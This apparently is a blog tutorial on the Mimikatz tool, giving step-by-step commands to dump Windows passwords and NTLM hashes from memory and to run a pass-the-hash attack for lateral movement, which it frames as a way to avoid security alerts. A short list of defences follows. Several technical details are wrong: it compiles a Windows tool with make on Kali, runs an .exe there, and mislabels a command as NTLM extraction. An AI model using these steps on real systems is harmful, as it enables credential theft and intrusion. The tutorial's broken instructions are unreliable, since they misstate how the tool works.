Mimikatz: The Ultimate Password Extraction Tool in Kali Linux

Need to extract Windows credentials? Mimikatz is a must-know tool in Kali Linux for password recovery, credential dumping, and privilege escalation. Let’s explore what makes it so powerful! 

What is Mimikatz?

Mimikatz, created by Benjamin Delpy, is a powerful open-source tool that interacts with Windows security to extract passwords, hashes, Kerberos tickets, and PINs. It’s widely used for password recovery, credential dumping, and privilege escalation.

Key Features:

• 🔑 Extract passwords
• 🔓 Retrieve NTLM hashes
• 👤 Impersonate users
• 🔄 Pass-the-Hash & Pass-the-Ticket attacks
• 🎟️ Steal Kerberos tickets
• 🔑 Extract passwords from memory.
• 🔓 Retrieve NTLM hashes.

How to Use Mimikatz in Kali Linux

Step 1: Install Mimikatz

Since Mimikatz isn’t pre-installed in Kali Linux, you need to download and compile it.

sudo apt update && sudo apt install mimikatz -y

Alternatively, you can download the latest release from GitHub:

git clone https://github.com/gentilkiwi/mimikatz.git
cd mimikatz/mimikatz
make

Step 2: Running Mimikatz

Launch Mimikatz in an administrative terminal:

mimikatz.exe

Once inside, run the following command to enable debug mode:

privilege::debug

This ensures that Mimikatz has the necessary permissions to access sensitive processes.

Step 3: Extract Passwords

To dump credentials, use:

sekurlsa::logonpasswords

This will list usernames, NTLM hashes, and plaintext passwords stored in memory.

For NTLM hash extraction (useful for cracking passwords offline):

sekurlsa::wdigest

Step 4: Pass-the-Hash Attack (Lateral Movement)

If you have NTLM hashes, you can authenticate as another user without knowing their password:

sekurlsa::pth /user:Admin /domain:target.com /ntlm:HASH_HERE

This is useful for moving between machines on a network without triggering security alerts.

Defensive Measures Against Mimikatz

Since attackers widely use Mimikatz, security professionals should harden Windows defenses to prevent credential dumping:

• 🛡️ Enable Credential Guard: Prevents attackers from dumping LSASS memory.
• ❌ Disable WDigest Authentication: Stops Windows from storing plaintext passwords.
• 🔑 Use LAPS for Admin Accounts: Limits the exposure of local admin credentials.
• ⚖️ Apply Principle of Least Privilege (PoLP): Reduces the risk of credential theft by restricting account privileges.

Final Thoughts

Mimikatz is a must-have for ethical hackers and forensic analysts. Whether testing security, investigating breaches, or recovering credentials, it’s a game-changer — just use it ethically and legally! ⚡